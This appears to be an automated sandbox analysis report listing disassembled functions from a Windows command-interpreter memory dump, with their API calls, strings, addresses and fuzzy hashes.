Instruction ID: f1a42d63b15fd4677f2d4a957f866c9b97ffceb293076052d93c59e4f3613261
Opcode Fuzzy Hash: e8a5d63c360e4c13ef561f3ce3dd80187a3c2d8689f5c743dd181e811bfffbc3
Instruction Fuzzy Hash: A9418875E08F1F86FB647B14E548279E6A0AF19764FC850B2C9CD429B4CF3CA44D8629

Function 00007FF718D691B8 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 90COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF718D691FF
wcsrchr.MSVCRT ref: 00007FF718D69232
_wcsnicmp.MSVCRT ref: 00007FF718D69285

Strings

CMD Internal Error %s, xrefs: 00007FF718D691F8
Null environment, xrefs: 00007FF718D691F1
%s, xrefs: 00007FF718D69298

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: _wcsnicmpfprintfwcsrchr
String ID: CMD Internal Error %s$%s$Null environment
API String ID: 3625580822-2781220306
Opcode ID: 9798a54e4fc5b33e689a2c9d89df2130ab496e8d723cbfb9f498f453c0192420
Instruction ID: 204cbd769e1f0875f7cbf73aef710aa2dd40ae13215966ca5d07d53c4ccb5616
Opcode Fuzzy Hash: 9798a54e4fc5b33e689a2c9d89df2130ab496e8d723cbfb9f498f453c0192420
Instruction Fuzzy Hash: B031A221A08F4EA2EB14BB42A5001FAF260BB4DBB4FD44131CD9D17795DE3CE44D8318

Function 00007FF718D45984 Relevance: 9.1, APIs: 6, Instructions: 142COMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00007FF718D63687
WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,00000000,00008000,?,00000001,00007FF718D4260D), ref: 00007FF718D636A6
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,00000000,00008000,?,00000001,00007FF718D4260D), ref: 00007FF718D636EB
_get_osfhandle.MSVCRT ref: 00007FF718D63703
WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,00000000,00008000,?,00000001,00007FF718D4260D), ref: 00007FF718D63722

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Console$Write_get_osfhandle$Mode
String ID:
API String ID: 1066134489-0
Opcode ID: 989124be994080129bedea4b9ae1d4c283fccc3ce7243235c73d6b8a7e8f68c3
Instruction ID: 70e58f1ac48ebf456bd9a9f1f1b61df7aa01bd05b093d6df805d023acdc09c42
Opcode Fuzzy Hash: 989124be994080129bedea4b9ae1d4c283fccc3ce7243235c73d6b8a7e8f68c3
Instruction Fuzzy Hash: D4519221B08F4E87EB286F11940457AE6A1EF5C7B4F984535DE8A03B90DF3CE44C8B28

Function 00007FF718D536EC Relevance: 9.1, APIs: 6, Instructions: 93fileCOMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00007FF718D53715
WideCharToMultiByte.API-MS-WIN-CORE-STRING-L1-1-0 ref: 00007FF718D53770
WriteFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D53791
WriteFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D5E96E
WideCharToMultiByte.API-MS-WIN-CORE-STRING-L1-1-0 ref: 00007FF718D5E9A7
WriteFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D5E9D5

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: FileWrite$ByteCharMultiWide$_get_osfhandle
String ID:
API String ID: 3249344982-0
Opcode ID: 51d05573790b3cf5d3d64b049944166340f1b2bbc10c5d821001f089b8cff74b
Instruction ID: 67fee4a820dd34b833065ab626e3ab4b5b73ba4fc3aa5b9ff05d23ee2c31bdea
Opcode Fuzzy Hash: 51d05573790b3cf5d3d64b049944166340f1b2bbc10c5d821001f089b8cff74b
Instruction Fuzzy Hash: 8A413E72A18F4986E314AF11A845369FAB4FB8DFE8F844235DA8907794CF3CD15C8B14

Function 00007FF718D489C0 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF718D48A18

Part of subcall function 00007FF718D4CA40: memset.MSVCRT ref: 00007FF718D4CAB3

GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D48A62
GetVolumeInformationW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D48ABA
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D48AE1
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D5B3FC
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D5B424

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: memset$DriveErrorInformationLastTypeVolume
String ID:
API String ID: 850181435-0
Opcode ID: e30f486a492b6204ca4cfe222f6522b4387915627d195f2e6e30a15257811e7a
Instruction ID: b203889d5f0bb95d178e20f205570ae0586644dc2670e45b89647728603e37eb
Opcode Fuzzy Hash: e30f486a492b6204ca4cfe222f6522b4387915627d195f2e6e30a15257811e7a
Instruction Fuzzy Hash: 2B415932608FC589E7609F21D8452E9F7A0FB89B98F984135DA8D4BB48CF78D54DC714

Function 00007FF718D501B8 Relevance: 9.1, APIs: 6, Instructions: 57COMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00007FF718D501C4
GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,00007FF718D5E904,?,?,?,?,00000000,00007FF718D53491,?,?,?,00007FF718D64420), ref: 00007FF718D501D6
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,00007FF718D5E904,?,?,?,?,00000000,00007FF718D53491,?,?,?,00007FF718D64420), ref: 00007FF718D50212
AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,00007FF718D5E904,?,?,?,?,00000000,00007FF718D53491,?,?,?,00007FF718D64420), ref: 00007FF718D50228
GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,00007FF718D5E904,?,?,?,?,00000000,00007FF718D53491,?,?,?,00007FF718D64420), ref: 00007FF718D5023C
ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,00007FF718D5E904,?,?,?,?,00000000,00007FF718D53491,?,?,?,00007FF718D64420), ref: 00007FF718D50251

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: LockShared$AcquireConsoleFileHandleModeReleaseType_get_osfhandle
String ID:
API String ID: 513048808-0
Opcode ID: 9ca52e2f36e6298e0da0b73f4c48285a799823b45280523adb4bff91af1efe56
Instruction ID: d03c1f9f92c3210e64b1e92cb0cb6ea0720e8ec3e6c7208a28a75ab0284fff80
Opcode Fuzzy Hash: 9ca52e2f36e6298e0da0b73f4c48285a799823b45280523adb4bff91af1efe56
Instruction Fuzzy Hash: EB21812190CF8AC7E7546B60A585238FAB0FF4EB75FD44235D99E42694CE3CE84C8729

Function 00007FF718D53578 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00007FF718D53584
GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000014,00007FF718D432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF718D5359C
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000014,00007FF718D432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF718D535C3
AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF718D432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF718D535D9
GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00000014,00007FF718D432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF718D535ED
ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF718D432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF718D53602

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: LockShared$AcquireConsoleFileHandleModeReleaseType_get_osfhandle
String ID:
API String ID: 513048808-0
Opcode ID: 03f01a8104886db99b7aad40b47997af4647daf6f98f1b4f0a1f116e85409c1b
Instruction ID: 05792f759be9a57b349bcc43e2538aaecb10f58f0d121d656a7d726e6c95407b
Opcode Fuzzy Hash: 03f01a8104886db99b7aad40b47997af4647daf6f98f1b4f0a1f116e85409c1b
Instruction Fuzzy Hash: 5B114F21A08F4A86EB186B64A545078EAB0FF4EB75FD45335DAAE433D0DE3CD44C8715

Function 00007FF718D59584 Relevance: 9.0, APIs: 6, Instructions: 49timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.API-MS-WIN-CORE-SYSINFO-L1-1-0 ref: 00007FF718D595B4
GetCurrentProcessId.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF718D595C2
GetCurrentThreadId.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF718D595CE
GetTickCount.API-MS-WIN-CORE-SYSINFO-L1-1-0 ref: 00007FF718D595DA
GetTickCount.API-MS-WIN-CORE-SYSINFO-L1-1-0 ref: 00007FF718D595EA
QueryPerformanceCounter.API-MS-WIN-CORE-PROFILE-L1-1-0 ref: 00007FF718D59605

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: CountCurrentTickTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 4104442557-0
Opcode ID: b889aecb1d922b30460546f960472bac4e2facbbb0b8017922a5a639f3fd93e9
Instruction ID: 00bca345a54cfcdd9bb1ff5a52ff89e89671fc42a2b7c7e334c191f6a44ec001
Opcode Fuzzy Hash: b889aecb1d922b30460546f960472bac4e2facbbb0b8017922a5a639f3fd93e9
Instruction Fuzzy Hash: CE115122604F458AEB00EF61E8452A8B3A4FB0D76CF800A35EAAD47B54DF3CD1AC8354

Function 00007FF718D6711C Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 175COMMON

Download Yara Rule

APIs

OpenSemaphoreW.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF718D671F9
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D6720D
OpenSemaphoreW.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF718D67300

Part of subcall function 00007FF718D65740: CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(?,?,?,?,00007FF718D675C4,?,?,00000000,00007FF718D66999,?,?,?,?,?,00007FF718D58C39), ref: 00007FF718D65744

Strings

wil, xrefs: 00007FF718D6725E, 00007FF718D67338
_p0, xrefs: 00007FF718D671B3

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: OpenSemaphore$CloseErrorHandleLast
String ID: _p0$wil
API String ID: 455305043-1814513734
Opcode ID: 39a27b84dfd8631c9037e55d178cc10ed73d1848b9dee361412bcbd5f2f98ace
Instruction ID: fca50cf682b42d35face77218cc045240f6028504ec657056dbda288d907cf0e
Opcode Fuzzy Hash: 39a27b84dfd8631c9037e55d178cc10ed73d1848b9dee361412bcbd5f2f98ace
Instruction Fuzzy Hash: 2C61A461B18F8E81EF25AB5594101B9E3A1EF8CBA4FE54632D98E07754EF3CD50D8328

Function 00007FF718D41DC0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 139COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF718D41E21

Part of subcall function 00007FF718D4CA40: memset.MSVCRT ref: 00007FF718D4CAB3

??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D41F23

Part of subcall function 00007FF718D4D3F0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D4D46E
Part of subcall function 00007FF718D4D3F0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D4D485
Part of subcall function 00007FF718D4D3F0: wcschr.MSVCRT ref: 00007FF718D4D4EE
Part of subcall function 00007FF718D4D3F0: iswspace.MSVCRT ref: 00007FF718D4D54D
Part of subcall function 00007FF718D4D3F0: wcschr.MSVCRT ref: 00007FF718D4D569
Part of subcall function 00007FF718D4D3F0: wcschr.MSVCRT ref: 00007FF718D4D58C

iswspace.MSVCRT ref: 00007FF718D605B0

Strings

%s, xrefs: 00007FF718D41EF3

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: wcschr$Heapiswspacememset$AllocProcess
String ID: %s
API String ID: 2401724867-3043279178
Opcode ID: 740c75b15b64cf7ac9eb9688b57878eb6de44e609a22920e9cf606d70b52c251
Instruction ID: ee73df1af08d14a386c196af009c4c73d0108abaa8434dca28edcc9b60a49866
Opcode Fuzzy Hash: 740c75b15b64cf7ac9eb9688b57878eb6de44e609a22920e9cf606d70b52c251
Instruction Fuzzy Hash: 3B51A172A08F8A85EB20AF21D8412B9F3B1EB4DBA4F844135DA8D47694EF3CD44DC724

Function 00007FF718D4E260 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

iswdigit.MSVCRT(?,?,00007FF718D4E157), ref: 00007FF718D4E29D
iswdigit.MSVCRT(00000000,?,?,00007FF718D4E157), ref: 00007FF718D4E310

Strings

GeToken: (%x) '%s', xrefs: 00007FF718D5CC39

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: iswdigit
String ID: GeToken: (%x) '%s'
API String ID: 3849470556-1994581435
Opcode ID: b1c74980886186fc2843b8190b4a082341e47de456d20d62b3525a594f11c7d8
Instruction ID: 9cc2e445f1ee9d40ed7eecbf0cf4da1e4b74159ba150e642cccb1a79acf2aaa9
Opcode Fuzzy Hash: b1c74980886186fc2843b8190b4a082341e47de456d20d62b3525a594f11c7d8
Instruction Fuzzy Hash: 6F515A3190CF4A95E724AF56A484179F7A0BB58B34F888575DACD43A91DF7CE44CC328

Function 00007FF718D6992C Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 121registryCOMMON

Download Yara Rule

APIs

GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D69A10
RegEnumKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF718D69994

Part of subcall function 00007FF718D6A73C: RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF718D69A82), ref: 00007FF718D6A77A
Part of subcall function 00007FF718D6A73C: SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF718D69A82), ref: 00007FF718D6A839
Part of subcall function 00007FF718D6A73C: RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF718D69A82), ref: 00007FF718D6A850

wcsrchr.MSVCRT ref: 00007FF718D69A62

Strings

%s=%s, xrefs: 00007FF718D699E1, 00007FF718D69AA0
., xrefs: 00007FF718D699AA

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: ErrorLast$CloseEnumOpenwcsrchr
String ID: %s=%s$.
API String ID: 3242694432-4275322459
Opcode ID: f0a6781f902405e6d501dc5d40a6bf5070585413eea37f1d1ba285c718ededde
Instruction ID: b51e6a082f48b20e9b2cda08afb49785b4f931f4ab9086aa061549c0067b45f6
Opcode Fuzzy Hash: f0a6781f902405e6d501dc5d40a6bf5070585413eea37f1d1ba285c718ededde
Instruction Fuzzy Hash: B2419F21A09F4E96EF14BB52A0502B9E2A1EF4D7B0FA44231DDDD077D5DE3CE44D8228

Function 00007FF718D5417C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 54COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF718D541AD
towupper.MSVCRT ref: 00007FF718D541E1

Strings

:, xrefs: 00007FF718D5ECC3
:, xrefs: 00007FF718D541F2

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: CurrentDirectorytowupper
String ID: :$:
API String ID: 238703822-3780739392
Opcode ID: a6328a6c3dc4b43d0528279963caee78f723bc6a38f6b0cfe87d14265630f542
Instruction ID: d5088a22474bd482a6a7f71596e2fc7e46b816613df507a7f2b26d831fd6d3bf
Opcode Fuzzy Hash: a6328a6c3dc4b43d0528279963caee78f723bc6a38f6b0cfe87d14265630f542
Instruction Fuzzy Hash: BD112292608B4582EB24AB61A80563AF6B0FF4D7A9FC58232DD8D07794DE3CD00D8728

Function 00007FF718D55EE4 Relevance: 7.6, APIs: 5, Instructions: 146COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF718D55F5D

Part of subcall function 00007FF718D4CA40: memset.MSVCRT ref: 00007FF718D4CAB3

??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D56029

Part of subcall function 00007FF718D5417C: GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF718D541AD

towupper.MSVCRT ref: 00007FF718D55FFE

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: memset$CurrentDirectorytowupper
String ID:
API String ID: 1403193329-0
Opcode ID: 42cade6b9a84014cdd55cf9873a1d02384d54167611cbf46e5f63f406bd17b97
Instruction ID: d3c3830ac4fa294bfd0166fbbd0880678090e88dcc72baf3060690436ba86fa5
Opcode Fuzzy Hash: 42cade6b9a84014cdd55cf9873a1d02384d54167611cbf46e5f63f406bd17b97
Instruction Fuzzy Hash: 5E51B926605B8985EB65AF24E9006B9F7B0FF4C768FC58236D98D07694EF3CD54C8324

Function 00007FF718D491C0 Relevance: 7.6, APIs: 5, Instructions: 138COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF718D4921C

Part of subcall function 00007FF718D4CA40: memset.MSVCRT ref: 00007FF718D4CAB3

??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D493AA

Part of subcall function 00007FF718D48B20: wcsrchr.MSVCRT ref: 00007FF718D48BAB
Part of subcall function 00007FF718D48B20: _wcsicmp.MSVCRT ref: 00007FF718D48BD4
Part of subcall function 00007FF718D48B20: _wcsicmp.MSVCRT ref: 00007FF718D48BF2
Part of subcall function 00007FF718D48B20: GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D48C16
Part of subcall function 00007FF718D48B20: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D48C2F
Part of subcall function 00007FF718D48B20: wcschr.MSVCRT ref: 00007FF718D48CB3

Part of subcall function 00007FF718D5417C: GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF718D541AD

Part of subcall function 00007FF718D53060: SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,00000000,0000000A,00007FF718D492AC), ref: 00007FF718D530CA
